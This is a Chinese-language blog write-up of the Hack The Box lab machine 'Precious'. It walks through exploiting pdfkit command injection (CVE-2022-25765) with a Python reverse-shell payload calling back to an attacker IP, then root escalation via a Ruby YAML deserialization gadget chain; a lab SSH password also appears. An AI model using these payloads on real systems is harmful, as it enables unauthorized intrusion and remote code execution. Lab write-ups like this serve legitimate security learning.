介绍

在虚拟机中进行连接

1
sudo openvpn 名称.ovpn

出现 Initialization Sequence Completed 代表连接成功

230515PM02_377

连接

参考:

主要参考——Hackthebox - Precious(Easy) - YouTube

PreciousHTB | Hack The Box Precious| PreciousWriteUp | Hack The Box - YouTube

Precious- YouTube

中等 (medium.com)

Hackthebox PreciousWriteup – 0xDedinfosec

Precious是 Hack the Box 上的一台简单机器,它托管了一个使用易受攻击的 pdfkit 版本的网站。使用此版本的 pdf kit 和 CVE-2022–25765,我们能够以 ruby 用户的身份获得计算机的反向 shell。然后,我们从配置文件中收集一些信息,以将我们的权限提升给其他用户。一旦我们成为用户 henry,我们就通过 YAML 反序列化使用远程代码执行将我们的权限提升给根用户。

地址:https://app.hackthebox.com/machines/513

1
10.10.11.189

image-20230515142241312

常规探测

1
2
3
4
5
6
7
# nmap 全端口扫描,发现开放了 22 和 80 端口,分别是 ssh 和 http 协议
# -sC:运行端口侦测的默认 Nmap 脚本
# -sV:探测开放端口以确定服务/版本信息
nmap -sC -sV 10.10.11.189

10.10.11.189:22
10.10.11.189:80

230515PM03_379

网站能够输入一个 URL,它会将网页转换为 pdf

1
exiftool iza6l21cttk715syc00tn5uzd4t4hgqz.pdf

230515PM11_394

Google 直接搜索 pdfkit v0.8.6 vuln、pdfkit v0.8.6 exploit(意思就是搜索和 pdfkit v0.8.6 相关的漏洞 )

Command Injection in pdfkit | CVE-2022-25765 | Snyk

==找到了 PoC,把要执行的命令放在``中==

反弹 shell

https://www.revshells.com/

230515PM03_382

230515PM11_395

1
2
# 需要设置一个侦听器,以便在获得反向 shell 后与机器进行交互。
nc -nlvp 1113
1
2
3
4
5
6
7
8
# 构造一个 payload

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.13",1113));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

# 放入浏览器
http://10.10.16.13?name=#{'%20`放入 payload`'}

http://10.10.16.13?name=#{'%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.13",1113));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`'}

230522PM12_410

输入whoami,将会显示rudy

230515PM05_385

230515PM05_386

提权

1
2
3
4
5
6
7
# ssh 登录
ssh henry@10.10.11.189
# 密码:
Q3c1AqGHtoI0aXAYFH

cat user.txt
得到 flag

230522PM01_411

现在可以访问用户 henry,试一下可以用 root 权限运行吗,利用sudo -l

1
2
3
4
5
6
7
-bash-5.1$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
-bash-5.1$

通过 YAML 远程执行代码的文章,发现可以通过 dependencies.yml 文件使用远程代码注入,该文件将由 /opt/update_dependencies.rb 运行

根据 sudo -l 命令的返回结果

这说明你的目标机器上的用户 henry 可以使用 sudo 命令来以 root 权限运行以下命令,而不需要输入密码:

1
/usr/bin/ruby /opt/update_dependencies.rb

复制

这可能是一个提权的机会,如果你可以控制或者修改 /opt/update_dependencies.rb 这个文件,或者利用 ruby 的特性来执行任意命令。你可以尝试以下方法:

1
2
3
4
5
cat /opt/update_dependencies.rbcat

# 发现 YAML.load(File.read("dependencies.yml" )) 字段

test file .yml

使用 nano 编辑器

  • nano 编辑器中,按下 Ctrl+O 组合键,这会提示你输入要保存的文件名。如果你不想改变文件名,直接按下 Enter 键即可。
  • 如果你想要退出 nano 编辑器,按下 Ctrl+X 组合键,这会提示你是否要保存修改。如果你想要保存,按下 Y 键,然后按下 Enter 键。如果你不想要保存,按下 N 键。
1
2
3
# 将 /tmp/1 添加到 PATH,您可以使系统能够在该目录中查找并执行命令。
export PATH=/tmp/1:$PATH
echo $PATH

Google 搜索:file yml rce

https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/

https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e56

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: sh
method_id: :resolve
1
2
3
# 执行我们的命令
sudo /usr/bin/ruby /opt/update_dependencies.rb
pwd;id;whoami;ls -la;file root.txt

230515PM06_390

230515PM06_391

230515PM06_393

230515PM06_392


© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k